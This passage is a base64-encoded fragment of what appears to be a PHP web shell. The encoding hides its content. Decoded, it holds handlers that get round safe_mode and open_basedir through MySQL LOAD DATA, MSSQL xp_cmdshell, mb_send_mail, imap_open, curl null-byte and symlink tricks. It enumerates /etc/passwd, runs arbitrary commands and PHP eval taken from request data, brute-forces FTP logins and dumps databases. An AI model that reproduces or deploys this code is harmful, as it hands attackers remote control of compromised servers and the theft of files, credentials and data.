KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDUkVBVEUgVEVNUE9SQVJZIFRBQkxFICcgLiAoJHRibCA9ICdBJy50aW1lICgpKSAuICcgKGEgTE9OR0JMT0IpJywKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnJGZpbGUnIElOVE8gVEFCTEUgJHRibCBGSUVMRFMgIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLiAiVEVSTUlOQVRFRCBCWSAgICAgICAnX19USElTX05FVkVSX0hBUFBFTlNfXycgIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLiAiRVNDQVBFRCBCWSAgICAgICAgICAnJyAiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuICJMSU5FUyBURVJNSU5BVEVEIEJZICdfX1RISVNfTkVWRVJfSEFQUEVOU19fJyIsCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlNFTEVDVCBhIEZST00gJHRibCBMSU1JVCAxIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfY29ubmVjdCAoJG1ob3N0LCAkbXVzZXIsICRtcGFzcyk7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJHNxbCBhcyAkc3RhdGVtZW50KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcSA9IG15c3FsX3F1ZXJ5ICgkc3RhdGVtZW50KTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHEgPT0gZmFsc2UpIGRpZSAoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiRkFJTEVEOiAiIC4gJHN0YXRlbWVudCAuICJcbiIgLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlJFQVNPTjogIiAuIG15c3FsX2Vycm9yICgpIC4gIlxuIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISAkciA9IEBteXNxbF9mZXRjaF9hcnJheSAoJHEsIE1ZU1FMX05VTSkpIGNvbnRpbnVlOwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkclswXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCAoJHEpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoKCmVjaG8gIjwvdGV4dGFyZWE+IjsKCiBicmVhazsKICBjYXNlICd0ZXN0NCc6CiAgaWYoZW1wdHkoJF9QT1NUWyd0ZXN0NF9wb3J0J10pKSB7ICRfUE9TVFsndGVzdDRfcG9ydCddID0gIjE0MzMiOyB9CiAgJGRiID0gQG1zc3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCwnLiRfUE9TVFsndGVzdDRfcG9ydCddLCRfUE9TVFsndGVzdDRfbWwnXSwkX1BPU1RbJ3Rlc3Q0X21wJ10pOwogIGlmKCRkYikKICAgewogICBpZihAbXNzcWxfc2VsZWN0X2RiKCRfUE9TVFsndGVzdDRfbWQnXSwkZGIpKQogICAgewogICAgIEBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSBrYWlsYXRpZ2ktbW9ub190ZW1wX3RhYmxlIiwkZGIpOwogICAgIEBtc3NxbF9xdWVyeSgiY3JlYXRlIHRhYmxlIGthaWxhdGlnaS1tb25vX3RlbXBfdGFibGUgKCBzdHJpbmcgVkFSQ0hBUiAoNTAwKSBOVUxMKSIsJGRiKTsKICAgICBAbXNzcWxfcXVlcnkoImluc2VydCBpbnRvIGthaWxhdGlnaS1tb25vX3RlbXBfdGFibGUgRVhFQyBtYXN0ZXIuZGJvLnhwX2NtZHNoZWxsICciLiRfUE9TVFsndGVzdDRfZmlsZSddLiInIiwkZGIpOwogICAgICRyZXMgPSBtc3NxbF9xdWVyeSgic2VsZWN0ICogZnJvbSBrYWlsYXRpZ2ktbW9ub190ZW1wX3RhYmxlIiwkZGIpOwogICAgIHdoaWxlKCgkcm93PUBtc3NxbF9mZXRjaF9yb3coJHJlcykpKQogICAgICB7CiAgICAgIGVjaG8gJHJvd1swXS4iXHJcbiI7CiAgICAgIH0KICAgIEBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSBrYWlsYXRpZ2ktbW9ub190ZW1wX3RhYmxlIiwkZGIpOwogICAgfQogICAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRhYmFzZSI7CiAgIEBtc3NxbF9jbG9zZSgkZGIpOwogICB9CiAgZWxzZSBlY2hvICJbLV0gRVJST1IhIENhbid0IGNvbm5lY3QgdG8gTVNTUUwgc2VydmVyIjsKICBicmVhazsKICBjYXNlICd0ZXN0NSc6CiAgaWYgKEBmaWxlX2V4aXN0cygnL3RtcC9tYl9zZW5kX21haWwnKSkgQHVubGluaygnL3RtcC9tYl9zZW5kX21haWwnKTsKICAkZXh0cmEgPSAiLUMgIi4kX1BPU1RbJ3Rlc3Q1X2ZpbGUnXS4iIC1YIC90bXAvbWJfc2VuZF9tYWlsIjsKICBAbWJfc2VuZF9tYWlsKE5VTEwsIE5VTEwsIE5VTEwsIE5VTEwsICRleHRyYSk7CiAgJGxpbmVzID0gZmlsZSAoJy90bXAvbWJfc2VuZF9tYWlsJyk7CiAgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbGluZSkuIlxyXG4iOyB9CiAgYnJlYWs7CiAgY2FzZSAndGVzdDYnOgogICRzdHJlYW0gPSBAaW1hcF9vcGVuKCcvZXRjL3Bhc3N3ZCcsICIiLCAiIik7CiAgJGRpcl9saXN0ID0gQGltYXBfbGlzdCgkc3RyZWFtLCB0cmltKCRfUE9TVFsndGVzdDZfZmlsZSddKSwgIioiKTsKICBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkZGlyX2xpc3QpOyAkaSsrKSBlY2hvICRkaXJfbGlzdFskaV0uIlxyXG4iOwogIEBpbWFwX2Nsb3NlKCRzdHJlYW0pOwogIGJyZWFrOwogIGNhc2UgJ3Rlc3Q3JzoKICAkc3RyZWFtID0gQGltYXBfb3BlbigkX1BPU1RbJ3Rlc3Q3X2ZpbGUnXSwgIiIsICIiKTsKICAkc3RyID0gQGltYXBfYm9keSgkc3RyZWFtLCAxKTsKICBlY2hvICRzdHI7CiAgQGltYXBfY2xvc2UoJHN0cmVhbSk7CiAgYnJlYWs7CiAgY2FzZSAndGVzdDgnOgogIGlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3Rlc3Q4X2ZpbGUxJ10sICRfUE9TVFsndGVzdDhfZmlsZTInXSkpIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExOCddOwogIGVsc2UgZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE5J107CiAgYnJlYWs7CmNhc2UgJ2NVUkwnOgogICBpZihlbXB0eSgkX1BPU1RbJ2thaWxhdGlnaS1tb25vJ10pKXsKCgp9IGVsc2UgewokY3VybD0kX1BPU1RbJ2thaWxhdGlnaS1tb25vJ107CiRjaCA9Y3VybF9pbml0KCJmaWxlOi8vLyIuJGN1cmwuIlx4MDAvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vIi5fX0ZJTEVfXyk7CmN1cmxfZXhlYygkY2gpOwp2YXJfZHVtcChjdXJsX2V4ZWMoJGNoKSk7CmVjaG8gIjwvdGV4dGFyZWE+PC9DRU5URVI+IjsKCn0KYnJlYWs7CmNhc2UgJ2NvcHknOgoKaWYoZW1wdHkoJHNubikpewppZihlbXB0eSgkX0dFVFsnc25uJ10pKXsKaWYoZW1wdHkoJF9QT1NUWydzbm4nXSkpewoKfSBlbHNlIHsKJHUxcD0kX1BPU1RbJ3NubiddOwp9Cn0gZWxzZSB7CiR1MXA9JF9HRVRbJ3NubiddOwp9Cn0KICAkdTFwPSIiOyAvLyBGaWxlIHRvIEluY2x1ZGUuLi4gb3IgdXNlIF9HRVQgX1BPU1QKJHR5bWN6YXM9IiI7IC8vIFNldCAkdHltY3phcyB0byBkaXIgd2hlcmUgeW91IGhhdmUgNzc3IGxpa2UgL3Zhci90bXAKCgokdGVtcD10ZW1wbmFtKCR0eW1jemFzLCAiY3giKTsKCmlmKGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRzbm4sICR0ZW1wKSl7CiR6cm9kbG8gPSBmb3BlbigkdGVtcCwgInIiKTsKJHRla3N0ID0gZnJlYWQoJHpyb2RsbywgZmlsZXNpemUoJHRlbXApKTsKZmNsb3NlKCR6cm9kbG8pOwplY2hvICIiLmh0bWxzcGVjaWFsY2hhcnMoJHRla3N0KS4iIjsKdW5saW5rKCR0ZW1wKTsKZWNobyAiPC90ZXh0YXJlYT48L0NFTlRFUj4iOwp9CmJyZWFrOwpjYXNlICdpbmlfcmVzdG9yZSc6CiBpZihlbXB0eSgkX1BPU1RbJ2luaV9yZXN0b3JlJ10pKXsKfSBlbHNlIHsKCiRpbmk9JF9QT1NUWydpbmlfcmVzdG9yZSddOwplY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOwplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOwpyZXF1aXJlX29uY2UoIiRpbmkiKTsKaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOwppbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7CmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7CmVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7CmluY2x1ZGUoJF9HRVRbInNzIl0pOwplY2hvICI8L3RleHRhcmVhPjwvQ0VOVEVSPiI7Cn0KYnJlYWs7CmNhc2UgJ2dsb2InOgpmdW5jdGlvbiByZWdfZ2xvYigpCnsKJGNoZW1pbj0kX1JFUVVFU1RbJ2dsb2InXTsKJGZpbGVzID0gZ2xvYigiJGNoZW1pbioiKTsKCgpmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKSB7CgogICBlY2hvICIkZmlsZW5hbWVcbiI7Cgp9Cn0KCmlmKGlzc2V0KCRfUkVRVUVTVFsnZ2xvYiddKSkKewpyZWdfZ2xvYigpOwp9CgpicmVhazsKY2FzZSAnemVuZCc6CiBpZihlbXB0eSgkX1BPU1RbJ3plbmQnXSkpewp9IGVsc2UgewoKJGRlemVuZD0kX1BPU1RbJ3plbmQnXTsKaW5jbHVkZSgkX1BPU1RbJ3plbmQnXSk7CnByaW50X3IoJEdMT0JBTFMpOwpyZXF1aXJlX29uY2UoIiRkZXplbmQiKTsKZWNobyAiPC90ZXh0YXJlYT48L3A+IjsKfQpicmVhazsKICBjYXNlICdzeW0xJzoKICAgICBpZihlbXB0eSgkX1BPU1RbJ3N5bTFwJ10pKXsKICAgICAgICAgICAgIH0gZWxzZSB7CiRzeW1wPSRfUE9TVFsnc3ltMXAnXTsKICAgICAgICAgfQogICAgIGlmKGVtcHR5KCRfUE9TVFsnc3ltMXAyJ10pKXsKCn0gZWxzZSB7CiRzeW1wMj0kX1BPU1RbJ3N5bTFwMiddOwoKICBzeW1saW5rKCJhL2EvYS9hL2EvYS8iLCAiZHVtbXkiKTsKc3ltbGluaygiZHVtbXkiLiRzeW1wMi4iIi4kc3ltcC4iIiwgInh4eCIpOwp1bmxpbmsoImR1bW15Iik7CndoaWxlICgxKSB7CnN5bWxpbmsoIi4iLCAiZHVtbXkiKTsKCiAgfQogfQogIGJyZWFrOwogIGNhc2UgJ3N5bTInOgogIEBpbmNsdWRlKHh4eCk7CiAgYnJlYWs7CgogIGNhc2UgJ3BsdWdpbic6CiAgaWYgKCRfUE9TVFsncGx1Z2luJ10gKXsKCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCR1aWQ9MDskdWlkPDYwMDAwOyR1aWQrKyl7ICAgLy9jYXQgL2V0Yy9wYXNzd2QKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcmEgPSBwb3NpeF9nZXRwd3VpZCgkdWlkKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYXJhKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlIChsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIiR2YWw6IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIlxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPiI7CgogICAgICAgICAgICAgfQogICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2NvbW1hbmQnOgogICAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2NvbW1hbmQnXSkpIHsKCiAgICAgICAgICAgICAgICBpZiAoJG1ldGhvZD09InN5c3RlbSIpIHsKICAgICAgICAgICAgICAgIHN5c3RlbSgkX1BPU1RbJ2NvbW1hbmQnXSk7CiAgICAgICAgICAgICAgICBlY2hvICJGdW5jdGlvbnMgc3lzdGVtIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0icGFzc3RocnUiKSB7CiAgICAgICAgICAgICAgICBwYXNzdGhydSgkX1BPU1RbJ2NvbW1hbmQnXSk7CiAgICAgICAgICAgICAgICBlY2hvICJGdW5jdGlvbnMgcGFzc3RocnUiOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCRtZXRob2Q9PSJleGVjIikgewogICAgICAgICAgICAgICAgICAgICAgICAkc3RyaW5nID0gZXhlYygkX1BPU1RbJ2NvbW1hbmQnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJHN0cmluZzsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiRnVuY3Rpb25zIGV4ZWMiOwoKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0ic2hlbGxfZXhlYyIpIHsKICAgICAgICAgICAgICAgICRzdHJpbmcgPSBzaGVsbF9leGVjKCRfUE9TVFsnY29tbWFuZCddKTsKICAgICAgICAgICAgICAgIGVjaG8gJHN0cmluZzsKICAgICAgICAgICAgICAgIGVjaG8gIkZ1bmN0aW9ucyBzaGVsbF9leGVjIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkbWV0aG9kPT0icG9wZW4iKSB7CiAgICAgICAgICAgICAgICAkcHAgPSBwb3BlbigkX1BPU1RbJ2NvbW1hbmQnXSwgJ3InKTsKICAgICAgICAgICAgICAgICRyZWFkID0gZnJlYWQoJHBwLCAyMDk2KTsKICAgICAgICAgICAgICAgIGVjaG8gJHJlYWQ7CiAgICAgICAgICAgICAgICBwY2xvc2UoJHBwKTsKICAgICAgICAgICAgICAgIGVjaG8gIkZ1bmN0aW9ucyBwb3BlbiI7CiAgICAgICAgICAgICAgICAgIH0KCgkgIGlmICgkbWV0aG9kPT0icHJvY19vcGVuIikgewoKCiRjb21tYW5kICA9IGlzc2V0KCRfUE9TVFsnY29tbWFuZCddKSAgPyAkX1BPU1RbJ2NvbW1hbmQnXSAgOiAnJzsKCgoKLyogTG9hZCB0aGUgY29uZmlndXJhdGlvbi4gKi8KCi8qIERlZmF1bHQgc2V0dGluZ3MgLS0tIHRoZXNlIHNldHRpbmdzIHNob3VsZCBhbHdheXMgYmUgc2V0IHRvIHNvbWV0aGluZy4gKi8KCi8qIE1lcmdlIHNldHRpbmdzLiAqLwoKc2Vzc2lvbl9zdGFydCgpOwoKCgogICAgaWYgKCFlbXB0eSgkY29tbWFuZCkpIHsKICAgICAgICAvKiBTYXZlIHRoZSBjb21tYW5kIGZvciBsYXRlIHVzZSBpbiB0aGUgSmF2YVNjcmlwdC4gIElmIHRoZSBjb21tYW5kIGlzCiAgICAgICAgICogYWxyZWFkeSBpbiB0aGUgaGlzdG9yeSwgdGhlbiB0aGUgb2xkIAkKbG9naW4gaXMgcmVtb3ZlZCBiZWZvcmUgdGhlCiAgICAgICAgICogbmV3IAkKbG9naW4gaXMgcHV0IGludG8gdGhlIGxpc3QgYXQgdGhlIGZyb250LiAqLwogICAgICAgIGlmICgoJGkgPSBhcnJheV9zZWFyY2goJF9QT1NUWydjb21tYW5kJ10sICRfU0VTU0lPTlsnaGlzdG9yeSddKSkgIT09IGZhbHNlKQogICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bJ2hpc3RvcnknXVskaV0pOwoKICAgICAgICBhcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1BPU1RbJ2NvbW1hbmQnXSk7CgogICAgICAgIC8qIE5vdyBhcHBlbmQgdGhlIGNvbW1tYW5kIHRvIHRoZSBvdXRwdXQuICovCiAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAnJCAnIC4gJF9QT1NUWydjb21tYW5kJ10gLiAiXG4iOwoKICAgICAgICAvKiBJbml0aWFsaXplIHRoZSBjdXJyZW50IHdvcmtpbmcgZGlyZWN0b3J5LiAqLwogICAgICAgIGlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9QT1NUWydjb21tYW5kJ10pKSB7CiAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSByZWFscGF0aCgkaW5pWydzZXR0aW5ncyddWydob21lLWRpcmVjdG9yeSddKTsKICAgICAgICB9IGVsc2VpZiAoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1BPU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKSB7CiAgICAgICAgICAgIC8qIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgYSAnY2QnIGNvbW1hbmQgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUKICAgICAgICAgICAgICogYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4gKi8KCiAgICAgICAgICAgIGlmICgkcmVnc1sxXXswfSA9PSAnLycpIHsKICAgICAgICAgICAgICAgIC8qIEFic29sdXRlIHBhdGgsIHdlIHVzZSBpdCB1bmNoYW5nZWQuICovCiAgICAgICAgICAgICAgICAkbmV3X2RpciA9ICRyZWdzWzFdOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLyogUmVsYXRpdmUgcGF0aCwgd2UgYXBwZW5kIGl0IHRvIHRoZSBjdXJyZW50IHdvcmtpbmcKICAgICAgICAgICAgICAgICAqIGRpcmVjdG9yeS4gKi8KICAgICAgICAgICAgICAgICRuZXdfZGlyID0gJF9TRVNTSU9OWydjd2QnXSAuICcvJyAuICRyZWdzWzFdOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvKiBUcmFuc2Zvcm0gJy8uLycgaW50byAnLycgKi8KICAgICAgICAgICAgd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8uLycpICE9PSBmYWxzZSkKICAgICAgICAgICAgICAgICRuZXdfZGlyID0gc3RyX3JlcGxhY2UoJy8uLycsICcvJywgJG5ld19kaXIpOwoKICAgICAgICAgICAgLyogVHJhbnNmb3JtICcvLycgaW50byAnLycgKi8KICAgICAgICAgICAgd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQogICAgICAgICAgICAgICAgJG5ld19kaXIgPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRuZXdfZGlyKTsKCiAgICAgICAgICAgIC8qIFRyYW5zZm9ybSAneC8uLicgaW50byAnJyAqLwogICAgICAgICAgICB3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKICAgICAgICAgICAgICAgICRuZXdfZGlyID0gcHJlZ19yZXBsYWNlKCd8Lz9bXi9dKy9cLlwuKD8hXC4pfCcsICcnLCAkbmV3X2Rpcik7CgogICAgICAgICAgICBpZiAoJG5ld19kaXIgPT0gJycpICRuZXdfZGlyID0gJy8nOwoKICAgICAgICAgICAgLyogVHJ5IHRvIGNoYW5nZSBkaXJlY3RvcnkuICovCiAgICAgICAgICAgIGlmIChAY2hkaXIoJG5ld19kaXIpKSB7CiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ2N3ZCddID0gJG5ld19kaXI7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ291dHB1dCddIC49ICJjZDogY291bGQgbm90IGNoYW5nZSB0bzogJG5ld19kaXJcbiI7CiAgICAgICAgICAgIH0KCiAgICAgICAgfSBlbHNlaWYgKHRyaW0oJF9QT1NUWydjb21tYW5kJ10pID09ICdleGl0JykgewogICAgICAgICAgICBsb2dvdXQoKTsKICAgICAgICB9IGVsc2UgewoKICAgICAgICAgICAgLyogVGhlIGNvbW1hbmQgaXMgbm90IGFuIGludGVybmFsIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKICAgICAgICAgICAgICogY2hhbmdpbmcgdGhlIGRpcmVjdG9yeSBhbmQgc2F2ZSB0aGUgb3V0cHV0LiAqLwogICAgICAgICAgICBjaGRpcigkX1NFU1NJT05bJ2N3ZCddKTsKCiAgICAgICAgICAgIC8vIFdlIGNhbm90IHVzZSBwdXRlbnYoKSBpbiBzYWZlIG1vZGUuCiAgICAgICAgICAgIGlmICghaW5pX2dldCgnc2FmZV9tb2RlJykpIHsKICAgICAgICAgICAgICAgIC8vIEFkdmljZSBwcm9ncmFtcyAobHMgZm9yIGV4YW1wbGUpIG9mIHRoZSB0ZXJtaW5hbCBzaXplLgogICAgICAgICAgICAgICAgcHV0ZW52KCdST1dTPScgLiAkcm93cyk7CiAgICAgICAgICAgICAgICBwdXRlbnYoJ0NPTFVNTlM9JyAuICRjb2x1bW5zKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLyogQWxpYXMgZXhwYW5zaW9uLiAqLwogICAgICAgICAgICAkbGVuZ3RoID0gc3RyY3NwbigkX1BPU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwogICAgICAgICAgICAkdG9rZW4gPSBzdWJzdHIoJF9QT1NUWydjb21tYW5kJ10sIDAsICRsZW5ndGgpOwogICAgICAgICAgICBpZiAoaXNzZXQoJGluaVsnYWxpYXNlcyddWyR0b2tlbl0pKQogICAgICAgICAgICAgICAgJGNvbW1hbmQgPSAkaW5pWydhbGlhc2VzJ11bJHRva2VuXSAuIHN1YnN0cigkX1BPU1RbJ2NvbW1hbmQnXSwgJGxlbmd0aCk7CgogICAgICAgICAgICAkaW8gPSBhcnJheSgpOwogICAgICAgICAgICAkcCA9IHByb2Nfb3BlbigkX1BPU1RbJ2NvbW1hbmQnXSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgYXJyYXkoMSA9PiBhcnJheSgncGlwZScsICd3JyksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgJGlvKTsKCiAgICAgICAgICAgIC8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3Rkb3V0LiAqLwogICAgICAgICAgICB3aGlsZSAoIWZlb2YoJGlvWzFdKSkgewogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydvdXRwdXQnXSAuPSBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRpb1sxXSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRU5UX0NPTVBBVCwgJ1VURi04Jyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRlcnIuICovCiAgICAgICAgICAgIHdoaWxlICghZmVvZigkaW9bMl0pKSB7CiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFTlRfQ09NUEFULCAnVVRGLTgnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZmNsb3NlKCRpb1sxXSk7CiAgICAgICAgICAgIGZjbG9zZSgkaW9bMl0pOwogICAgICAgICAgICBwcm9jX2Nsb3NlKCRwKTsKICAgICAgICB9CiAgICB9CgogICAgLyogQnVpbGQgdGhlIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0ICovCiAgICBpZiAoZW1wdHkoJF9TRVNTSU9OWydoaXN0b3J5J10pKSB7CiAgICAgICAgJGpzX2NvbW1hbmRfaGlzdCA9ICciIic7CiAgICB9IGVsc2UgewogICAgICAgICRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwogICAgICAgICRqc19jb21tYW5kX2hpc3QgPSAnIiIsICInIC4gaW1wbG9kZSgnIiwgIicsICRlc2NhcGVkKSAuICciJzsKICAgIH0KICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgCQl9CgoKCQlicmVhazsKICAgfQp9CgoKCgoKaWYgKCRfUE9TVFsnY21kJ109PSJmdHBfYnJ1dGUiKQogewogJHN1YyA9IDA7CiBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikKICB7CiAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsKICBpZihAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCR1c2VyLCR1c2VyKSkgeyBlY2hvICJbK10gJHVzZXI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfQogIGVsc2UgaWYoaXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pKSB7IGlmKEBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJHVzZXIsc3RycmV2KCR1c2VyKSkpIHsgZWNobyAiWytdICR1c2VyOiIuc3RycmV2KCR1c2VyKS4iIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0gfQogIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOwogIH0KIGVjaG8gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbiI7CiAkY291bnQgPSBjb3VudCgkdXNlcnMpOwogaWYoaXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pKSB7ICRjb3VudCAqPSAyOyB9CiBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NyddLiRjb3VudC4iXHJcbiI7CiBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5OCddLiRzdWMuIlxyXG4iOwogfQppZiAoJF9QT1NUWydjbWQnXT09InBocF9ldmFsIil7CiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPD8iLCIiLCRfUE9TVFsncGhwX2V2YWwnXSk7CiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPz4iLCIiLCRldmFsKTsKIEBldmFsKCRldmFsKTt9CgppZiAoJF9QT1NUWydjbWQnXT09Im15c3FsX2R1bXAiKQogewogIGlmKGlzc2V0KCRfUE9TVFsnZGlmJ10pKSB7ICRmcCA9IEBmb3BlbigkX1BPU1RbJ2RpZl9uYW1lJ10sICJ3Iik7IH0KICAkc3FsID0gbmV3IG15X3NxbCgpOwogICRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107CiAgJHNx